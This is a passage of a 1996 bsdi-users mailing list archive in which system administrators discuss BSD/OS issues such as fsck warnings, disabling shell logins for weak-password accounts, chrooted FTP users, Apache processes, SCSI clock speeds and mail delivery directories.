LUNA cc: bsdi-users@BSDI.COM Subject: Re: File System Problems Date: Fri, 1 Nov 1996 12:30:32 -0600 (CST) On Fri, 1 Nov 1996, GUSTAVO YAHUITL LUNA wrote: > Running BSD 2.1. > I'm getting this errors on my file systems: > > UNREF FILE I=8116 OWNER=root MODE=0 > SIZE=0 MTIME=Nov 1 13:53 1996 > CLEAR? no > > UNREF FILE I=147896 OWNER=root MODE=100777 > SIZE=1120961 MTIME=Nov 1 00:59 1996 > CLEAR? no > > UNREF FILE I=147924 OWNER=root MODE=100777 > SIZE=920 MTIME=Oct 30 14:14 1996 > CLEAR? no > > I dont know where this problem come. > I appreciate any comments. These look like what you normally get in the daily output. You should expect to see a few errors in the daily filesystem check simply because the system is in multiuser mode when the check is run. Just my $0.02. Chad Scott | chad@txdirect.net Systems Administrator | Voice 210-308-9800 Internet Direct, Incorporated | FAX 210-308-9240 ---------------------------------------------------- Finger chad@txdirect.net for PGP Public Key From VM Sat Nov 2 22:35:22 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2829" "Fri" "1" "November" "1996" "14:40:00" "EST" "Richard Noel" "richard.noel@wang.com" nil "74" "RE: shell login restriction" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA27395 for ; Fri, 1 Nov 1996 14:51:35 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id OAA25716 for bsdi-users-outgoing; Fri, 1 Nov 1996 14:36:47 -0500 (EST) Message-ID: <327A529B@SMTPGTWY.WANG.COM> Encoding: 73 TEXT X-Mailer: Microsoft Mail V3.0 Precedence: bulk From: "Noel, Richard" Sender: owner-bsdi-users@lists.gateway.com To: "Jacob M. Parnas" Cc: "'bsdi-users@gateway.com'" Subject: RE: shell login restriction Date: Fri, 01 Nov 96 14:40:00 EST Thanks for your response Jacob. In discussions with other admins and from what I've read, machine generated passwords, though more difficult to guess (but not impossible!), aren't always a good solution and can sometimes be a liability. It's these types of passwords that are more likely to get written down on scraps of paper and stuck in the (unlocked) pencil drawer, under the keyboard, or written in pencil on the bezel of a monitor. Of the latter group, the conscientious ones are they with eraser "droppings" on the desk just in front of their monitor - at least they change their password once in a while :). I would think machine generated passwords would be better in a situation where controlling access to the host is critical and the users are more responsible and willing to accept the inconvenience of not easily remembered passwords, or passwords that expire within "n" minutes. I do plan to modify the perl script to check the password for case and reverse variations of the login id, but first I need to upgrade to perl5. I'm no security expert (nor do I pretend to be), the perl script I'm presently using can be found in O'Reilly's "Practical UNIX & Internet Security". Richard noel@wang.com ---------- From: Jacob M. Parnas[SMTP:jparnas@jparnas.cybercom.net] Sent: Friday, November 01, 1996 1:22 PM To: Noel, Richard Cc: 'bsdi-users@gateway.com' Subject: Re: shell login restriction In message <327A0898@SMTPGTWY.WANG.COM>you write: > >I've been using /sbin/nologin in this manner successfully, though if >anyone knows of possible security holes I'd appreciate hearing about >it. Similarly, I have cron periodically run a perl script that compares >the account password to the login id and if they're the same, the account >shell is changed to /sbin/nojoe, an edited copy of nologin that echoes: I'd check commonly used passwords too. Ideally, the computer should make up a mixed case password for them. Users, as a whole, pick terrible passwords. Then, if in a public place (terminal room), people could run a program that looks like the login, but is really a password catcher, people looking over someone's shoulder when logging in, some terminals have a way to have a character send the current line, ... I could go on and I am far from a security wiz or cracker, but I've found the best security is mainly external, and outside access via something like the Digital Pathways for modems. Otherwise, you have security risks, unfortunately. Maybe have the login program be a C program of printf()'s and an exit() at the end. It seems much less complicated than perl. I like simple programs more. >THIS ACCOUNT HAS BEEN DISABLED BECAUSE YOUR PASSWORD IS >THE SAME AS YOUR LOGIN ID, ... > >and then drops the connection. > >Richard >noel@wang.com Jacob Parnas From VM Sat Nov 2 22:35:25 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["627" "Fri" "1" "November" "1996" "15:21:43" "-0500" "Jason D. Montgomery" "jason@atgi.com" nil "18" "all httpd processes won't die" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA28218 for ; Fri, 1 Nov 1996 15:24:34 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id PAA25854 for bsdi-users-outgoing; Fri, 1 Nov 1996 15:21:55 -0500 (EST) Message-ID: <327A5BD7.6F53@atgi.com> Reply-To: jason@atgi.com Organization: ATG, Inc. ( http://www.atgi.com ) X-Mailer: Mozilla 3.01b1 (Win95; I) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: "Jason D. Montgomery" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: all httpd processes won't die Date: Fri, 01 Nov 1996 15:21:43 -0500 Hello, When I kill the parent httpd process (apache 1.1.1) the rest of the httpd process don't die like it did when I was running apache 1.0? So now I have to kill all the http processes individually. Does anyone know the reasons for this. Jason --------------------------------------------------------------------- Jason D. Montgomery E-mail: Technicial Director WWW: www.atgi.com Active Technologies Group, Inc. 2999 E. Dublin Granville Rd. Ste#205 Columbus, OH 43231 (614) 523-1135 --------------------------------------------------------------------- From VM Sat Nov 2 22:35:26 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["672" "Fri" "1" "November" "1996" "12:15:47" "-0800" "Kent Ketell" "kent_ketell@firstdata.com" nil "23" "Re: Adduser" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA28223 for ; Fri, 1 Nov 1996 15:25:34 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id PAA25843 for bsdi-users-outgoing; Fri, 1 Nov 1996 15:16:17 -0500 (EST) Message-Id: <3.0.32.19961101120932.00a07b90@popgw.firstdata.com> X-Sender: kketell@popgw.firstdata.com X-Mailer: Windows Eudora Pro Version 3.0 Demo (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Kent Ketell Sender: owner-bsdi-users@lists.gateway.com To: "Dave A. Flanigan" Cc: bsdi-users@BSDI.COM Subject: Re: Adduser Date: Fri, 01 Nov 1996 12:15:47 -0800 At 12:56 PM 11/1/96 +0000, Dave A. Flanigan wrote: >Hello, > > Dose anyone have, or know of, an adduser program that will allow you to >easily add a large group of users? Ideally I would like to have the users >in a text file formatted something like: > >username, passwd >username, passwd > >etc. > > Or, even an adduser program that can take all its args from the command >line so it can be put into a scrip to constantly feed username and password >to it. Looking at the adduser program that comes with BSDI, I believe >editing it is above my meager Perl programing abilities. You can use adduser with commandline args. I do it all the time from a script. -Kent- From VM Sat Nov 2 22:35:27 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["504" "Fri" "1" "November" "1996" "14:27:36" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "15" "Re: ftp problems " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA28503 for ; Fri, 1 Nov 1996 15:31:46 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id PAA25877 for bsdi-users-outgoing; Fri, 1 Nov 1996 15:26:53 -0500 (EST) In-Reply-To: <199611011803.NAA00698@jparnas.cybercom.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: "Jacob M. Parnas" cc: Steve Lalonde , bsdi-users@BSDI.COM Subject: Re: ftp problems Date: Fri, 1 Nov 1996 14:27:36 -0800 (PST) > > > >I need to be able to stop users from changing directory out of their home > >directory > >in to another users directory or back down the tree, But i also need their > >home pages to work. > >i have tried to take away world read access but that stops the web pages > >working In order for the web pages to be able to be read, the user's home dir only needs to be searchable ( chmod uog+x userdir) and the public_html dir then is the only world readable dir. (chmod uog+xr public_html) Amy :) From VM Sat Nov 2 22:35:31 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["469" "Fri" "1" "November" "1996" "16:29:30" "-0500" "Alan B. Clegg" "abc@gateway.com" nil "12" "Spam-removal software" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA00247 for ; Fri, 1 Nov 1996 16:38:23 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id QAA26014 for bsdi-users-outgoing; Fri, 1 Nov 1996 16:29:41 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "Alan B. Clegg" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Spam-removal software Date: Fri, 1 Nov 1996 16:29:30 -0500 (EST) After testing for a week now, I feel sufficiently comfortable with the new Majordomo code that I will install it on Monday. One more weekend of spamable list, then voila... less spam... maybe. -abc | Death, Taxes, and Liberals will always be with us. | Alan B. Clegg At least Death never gets any worse. | gateway.com, inc. | From VM Sat Nov 2 22:35:33 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["186" "Fri" "1" "November" "1996" "15:08:52" "-0700" "Joe Ilacqua" "spike@indra.com" nil "9" "Tyan NCR-825 and Symbios NCR-815 clock speed flags?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA01343 for ; Fri, 1 Nov 1996 17:19:35 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id RAA26089 for bsdi-users-outgoing; Fri, 1 Nov 1996 17:09:14 -0500 (EST) Message-Id: <199611012208.PAA00772@coke.indra.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Precedence: bulk From: Joe Ilacqua Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Tyan NCR-825 and Symbios NCR-815 clock speed flags? Date: Fri, 01 Nov 1996 15:08:52 -0700 Does anyone know what the correct clock speeds are for the Tyan S1365 (NCR 53C825) SCSI card and Symbios NCR 53C815 card? Both cards work at 50Mhz, but seem a little slow. ->Spike From VM Sat Nov 2 22:35:37 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["932" "Fri" "1" "November" "1996" "14:28:31" "-0800" "Haroon Elsarrag" "elsarrag@engr.csulb.edu" nil "22" "Mirroring" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA01906 for ; Fri, 1 Nov 1996 17:36:51 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id RAA26217 for bsdi-users-outgoing; Fri, 1 Nov 1996 17:28:44 -0500 (EST) X-Authentication-Warning: heart.engr.csulb.edu: elsarrag owned process doing -bs Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Haroon Elsarrag Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Mirroring Date: Fri, 1 Nov 1996 14:28:31 -0800 (PST) Hi all, I'm new to this list, can someone shed a light on me on how to mirror a web site, I also have plenty of virtual hosts, how do I mirror the whole thing, I have server in the east cost that I can mirror everything on to it. What software do I need to get and install ? and where can I find some info on going about this? Thanks in advance for the help. I'm running BSDI 2.1 with apache 1.1.1 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Haroon R. Elsarrag e-mail: elsarrag@engr.csulb.edu http://www.engr.csulb.edu/~elsarrag {~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~} { "Oh, but man is a telling witness against himself. } { Although he tender his excuses" } { --The Holy Qur'an. Surah Al-Qiyamah. 75:14-15 } ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From VM Sat Nov 2 22:35:41 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2059" "Fri" "1" "November" "1996" "17:48:45" "" "Barry Hemphill" "ubu@easynet.on.ca" nil "56" "RE: shell login restriction" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA02736 for ; Fri, 1 Nov 1996 18:04:39 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id RAA26261 for bsdi-users-outgoing; Fri, 1 Nov 1996 17:55:01 -0500 (EST) Message-Id: <199611012253.RAA04179@puppy.easynet.on.ca> Comments: Authenticated sender is Organization: EasyNet Inc MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Priority: normal X-mailer: Pegasus Mail for Win32 (v2.42) Precedence: bulk From: "Barry Hemphill" Sender: owner-bsdi-users@lists.gateway.com To: "Noel, Richard" , bsdi-users@gateway.com Subject: RE: shell login restriction Date: Fri, 1 Nov 1996 17:48:45 +5 This is a bad idea - you've just told anyone who cares to look which of your accounts have identical userid and logins. Now, they are prevented from opening a shell on your system, but so long as /sbin/nojoe is in /etc/shells (which it must be to make it their login shell), they can still access your system via ftp. I'd just as soon strangers don't have free reign to explore my filesystem. Barry On 1 Nov 96 at 9:24, Noel, Richard wrote: > > I've been using /sbin/nologin in this manner successfully, though if > anyone knows of possible security holes I'd appreciate hearing about > it. Similarly, I have cron periodically run a perl script that > compares the account password to the login id and if they're the > same, the account shell is changed to /sbin/nojoe, an edited copy of > nologin that echoes: > > THIS ACCOUNT HAS BEEN DISABLED BECAUSE YOUR PASSWORD IS > THE SAME AS YOUR LOGIN ID, ... > > and then drops the connection. > > Richard > noel@wang.com > > ---------- > From: owner-bsdi-users[SMTP:owner-bsdi-users@lists.gateway.com] > Sent: Thursday, October 31, 1996 1:42 PM To: Jayanta Mukherjee Cc: > bsdi-users Subject: Re: shell login restriction > > > > > I am using BSD 2.0 as a Internet mail server only. I want to > > disable > shell > > login for all. i.e. no body should be able login through > > "Telnet". Is it possible then how? > > > You can replace their shell with /sbin/nologin and then they can't > login at all. > > Amy :) > > Barry Hemphill EasyNet Inc. System Administrator Cambridge, Ontario, Canada ubu@easynet.on.ca (519)654-9999 fax(519)654-0301 This planet has -- or rather had -- a problem, which was this: most of the people living on it were unhappy for pretty much of the time. Many solutions were suggested for this problem, but most of these were largely concerned with the movements of small green pieces of paper, which is odd because on the whole it wasn't the small green pieces of paper that were unhappy. -- Douglas Adams From VM Sat Nov 2 22:35:43 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["488" "Fri" "1" "November" "1996" "17:04:39" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "13" "inbox dir" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA02748 for ; Fri, 1 Nov 1996 18:06:10 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id SAA26317 for bsdi-users-outgoing; Fri, 1 Nov 1996 18:00:39 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: inbox dir Date: Fri, 1 Nov 1996 17:04:39 -0800 (PST) I have looking everywhere to try and find out where the delivered mail directory ( /var/mail ) is defined. I know you can specify where the queue dir is, and have multiple queues. What I want is two inbox directories - one for POP users and one for shell users. One is to be NFS exported and the other is not. I have read the Sendmail book (a few times now :) ) and can't seem to find anything relevant there. Is the dir to deliver to defined by BSDI? deliver? sendmail? Amy :) From VM Sat Nov 2 22:35:46 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["722" "Fri" "1" "November" "1996" "18:32:44" "-0500" "Sam Brown" "root@ns2.clever.net" nil "24" "Re: Tyan NCR-825 and Symbios NCR-815 clock speed flags?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA03038 for ; Fri, 1 Nov 1996 18:15:45 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id SAA26353 for bsdi-users-outgoing; Fri, 1 Nov 1996 18:12:57 -0500 (EST) In-Reply-To: <199611012208.PAA00772@coke.indra.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: Joe Ilacqua cc: bsdi-users@BSDI.COM Subject: Re: Tyan NCR-825 and Symbios NCR-815 clock speed flags? Date: Fri, 1 Nov 1996 18:32:44 -0500 (EST) Well most ncr's ive found are 40mghz here (asus kouwell) look for the clock chip somewhere. running a 40mghz board at 50 will lose you much performance. Our name server loads in 98 seconds with the settings to 50 (default) and correct (40mghz) loads in 84 seconds. Mind you the primary dns server has about 6500 domains under it. It does make a difference. Use IOZONE to see for yourself. I don't recommend overclocking the scsi-bus it probably won't do squat for you. Sam On Fri, 1 Nov 1996, Joe Ilacqua wrote: > > Does anyone know what the correct clock speeds are for the Tyan S1365 > (NCR 53C825) SCSI card and Symbios NCR 53C815 card? Both cards work > at 50Mhz, but seem a little slow. > > ->Spike > > > From VM Sat Nov 2 22:35:47 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1414" "Fri" "1" "November" "1996" "18:06:46" "" "Barry Hemphill" "ubu@easynet.on.ca" nil "37" "Re: Adduser" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA03042 for ; Fri, 1 Nov 1996 18:16:51 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id SAA26343 for bsdi-users-outgoing; Fri, 1 Nov 1996 18:12:09 -0500 (EST) Message-Id: <199611012311.SAA04847@puppy.easynet.on.ca> Comments: Authenticated sender is Organization: EasyNet Inc MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Priority: normal X-mailer: Pegasus Mail for Win32 (v2.42) Precedence: bulk From: "Barry Hemphill" Sender: owner-bsdi-users@lists.gateway.com To: "Dave A. Flanigan" , bsdi-users@BSDI.COM Subject: Re: Adduser Date: Fri, 1 Nov 1996 18:06:46 +5 On 1 Nov 96 at 12:56, Dave A. Flanigan wrote: > Hello, > > Dose anyone have, or know of, an adduser program that will allow > you to easily add a large group of users? .... > Or, even an adduser program that can take all its args from the > command line so it can be put into a scrip to constantly feed > username and password to it... >From man adduser (BSDI 2.0.1, but I believe 2.1 is essentially identical) The adduser program adds or deletes users from the master password file, passwd(5). When no arguments are provided, adduser or rmuser interac- tively prompt the user for any necessary information. If all necessary information for creating or deleting the user is provided on the command line, the user will not be prompted at all. The man page also lists the arguments it may be passed. Hope this helps. Barry Barry Hemphill EasyNet Inc. System Administrator Cambridge, Ontario, Canada ubu@easynet.on.ca (519)654-9999 fax(519)654-0301 This planet has -- or rather had -- a problem, which was this: most of the people living on it were unhappy for pretty much of the time. Many solutions were suggested for this problem, but most of these were largely concerned with the movements of small green pieces of paper, which is odd because on the whole it wasn't the small green pieces of paper that were unhappy. -- Douglas Adams From VM Sat Nov 2 22:35:50 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1412" "Fri" "1" "November" "1996" "18:38:10" "-0500" "Sam Brown" "root@ns2.clever.net" nil "41" "Re: Patches causing Apache problems? " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA03324 for ; Fri, 1 Nov 1996 18:27:11 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id SAA26392 for bsdi-users-outgoing; Fri, 1 Nov 1996 18:18:20 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: patrick@value.net cc: "Neil J. McRae" , bsdi-users@BSDI.COM Subject: Re: Patches causing Apache problems? Date: Fri, 1 Nov 1996 18:38:10 -0500 (EST) hint: the rc's for apache are at ftp.apache.org/httpd/from-cvs :) shhh On Fri, 1 Nov 1996 patrick@value.net wrote: > On Fri, 1 Nov 1996, Neil J. McRae wrote: > > > On Thu, 31 Oct 1996 21:26:15 -0800 (PST) > > patrick@value.net wrote: > > > > > > > > I installed patches K210-021 - K210-024 last night on our Web server > > > (Apache 1.1.1) which seems to have resulted in a rather odd problem. > > > Apache runs fine for a few hours, and then all requests just start timing > > > out. The httpd processes show running, but never seem to answer. I was > > > wondering if anyone else has had a similar problem. > > > > > I can't remember what those patches are, but if they are PCB or network > > related chances are you'll need to recompile apache. > > You know, I think I will start sending *you* the money that we normally > send to BSDi for a support contract. Their response "We don't have that > problem, it may be a problem with Apache 1.1.1." > > I have recompiled it and am waiting. If it doesn't work, thanks for at > least giving me something worth trying. > > > /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ > Patrick Greenwell (510) 943-5769 voice > Systems Administrator (510) 210-2000 modem > Value Net, Inc. (510) 943-1708 fax > \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ > > > From VM Sat Nov 2 22:35:52 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1263" "Fri" "1" "November" "1996" "15:35:37" "-0800" "patrick@value.net" "patrick@value.net" nil "32" "Re: inbox dir" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA03619 for ; Fri, 1 Nov 1996 18:43:09 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id SAA26429 for bsdi-users-outgoing; Fri, 1 Nov 1996 18:35:56 -0500 (EST) Reply-To: patrick@value.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: patrick@value.net Sender: owner-bsdi-users@lists.gateway.com To: Amy cc: bsdi-users@BSDI.COM Subject: Re: inbox dir Date: Fri, 1 Nov 1996 15:35:37 -0800 (PST) On Fri, 1 Nov 1996, Amy wrote: > I have looking everywhere to try and find out where the delivered mail > directory ( /var/mail ) is defined. I know you can specify where the queue > dir is, and have multiple queues. > > What I want is two inbox directories - one for POP users and one for > shell users. One is to be NFS exported and the other is not. > > I have read the Sendmail book (a few times now :) ) and can't seem to > find anything relevant there. Is the dir to deliver to defined by BSDI? > deliver? sendmail? Where the mail is placed is a delivery agent issue, not a sendmail issue. So grab another POP server if you don't have one with source handy, and change the dirs. The qualcomm popper is pretty good (ftp.qualcomm.com) Also, cucipop looks *really* cool(it lets you do all kinds of neat stuff), but it is a pay for product(although pretty cheap.) ftp://ftp.informatik.rwth-aachen.de/pub/packages/cucipop/cucipop.tar.gz /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ Patrick Greenwell (510) 943-5769 voice Systems Administrator (510) 210-2000 modem Value Net, Inc. (510) 943-1708 fax \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ From VM Sat Nov 2 22:35:52 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["748" "Fri" "1" "November" "1996" "17:43:39" "-0600" "System Administrator" "sysadmin@rapidramp.com" nil "19" "Re: ftp problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA03875 for ; Fri, 1 Nov 1996 18:51:17 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id SAA26466 for bsdi-users-outgoing; Fri, 1 Nov 1996 18:45:09 -0500 (EST) Message-Id: <2.2.32.19961101234339.006c4d90@mail.rapidramp.com> X-Sender: sysadmin@mail.rapidramp.com X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: System Administrator Sender: owner-bsdi-users@lists.gateway.com To: "Steve Lalonde" Cc: bsdi-users@BSDI.COM Subject: Re: ftp problems Date: Fri, 01 Nov 1996 17:43:39 -0600 At 10:07 AM 11/1/96 -0000, you wrote: >Hi All > >I need to be able to stop users from changing directory out of their home >directory >in to another users directory or back down the tree, But i also need their >home pages to work. > >i have tried to take away world read access but that stops the web pages >working It's a little involved, but what I did is create a script which sets up (in the user's home directory) etc, bin, and shlib directories with all the necessary files, as well as update ftpaccess and master.passwd in the user's etc directory with that user's information (username, uid, gid, and so on). That way when the user ftp's into the server, it chroots to their home directory. Voila...no more snooping around the server. From VM Sat Nov 2 22:35:54 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["878" "Fri" "1" "November" "1996" "18:01:29" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "23" "Re: inbox dir" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA04418 for ; Fri, 1 Nov 1996 19:11:02 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id SAA26491 for bsdi-users-outgoing; Fri, 1 Nov 1996 18:57:32 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: patrick@value.net cc: bsdi-users@BSDI.COM Subject: Re: inbox dir Date: Fri, 1 Nov 1996 18:01:29 -0800 (PST) > On Fri, 1 Nov 1996, Amy wrote: > > > I have looking everywhere to try and find out where the delivered mail > > directory ( /var/mail ) is defined. I know you can specify where the queue > > dir is, and have multiple queues. > > > > What I want is two inbox directories - one for POP users and one for > > shell users. One is to be NFS exported and the other is not. > > > > I have read the Sendmail book (a few times now :) ) and can't seem to > > find anything relevant there. Is the dir to deliver to defined by BSDI? > > deliver? sendmail? > > Where the mail is placed is a delivery agent issue, not a sendmail issue. > > So grab another POP server if you don't have one with source handy, and > change the dirs. The qualcomm popper is pretty good (ftp.qualcomm.com) But the popper doesn't place the mail, does it? Doesn't mail.local place the mail? Amy :) From VM Sat Nov 2 22:35:56 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1031" "Fri" "1" "November" "1996" "15:39:03" "PST" "William Sommers" "sommers@sfo.com" nil "31" "RE: inbox dir " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA04698 for ; Fri, 1 Nov 1996 19:16:52 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id TAA26507 for bsdi-users-outgoing; Fri, 1 Nov 1996 19:10:11 -0500 (EST) X-Mailer: Chameleon ENGP1, TCP/IP for Windows, NetManage Inc. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Precedence: bulk From: William Sommers Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM, Amy Subject: RE: inbox dir Date: Fri, 1 Nov 96 15:39:03 PST On Fri, 1 Nov 1996 17:04:39 -0800 (PST) Amy wrote: > I have looking everywhere to try and find out where the delivered mail > directory ( /var/mail ) is defined. I know you can specify where the > queue dir is, and have multiple queues. /usr/include/paths.h Be careful -- if you don't have a source distribution (so that you can rebuild world), you may find yourself with a serious mess on your hands. Many utils depend on that path. > What I want is two inbox directories - one for POP users and one for > shell users. One is to be NFS exported and the other is not. Variable delivery can be handled entirely by sendmail -- no need for the above -- though it does require a little creative thinking. Simply switching your local delivery agent (which is the heart of the matter) from mail.local to procmail might be an approach worth looking into, certainly my choice as long as super-efficient scalability is not a critical issue. William Sommers San Francisco Online Televolve, Inc. sommers@sfo.com From VM Sat Nov 2 22:35:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["850" "Fri" "1" "November" "1996" "16:14:47" "-0800" "patrick@value.net" "patrick@value.net" nil "25" "Re: inbox dir" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com 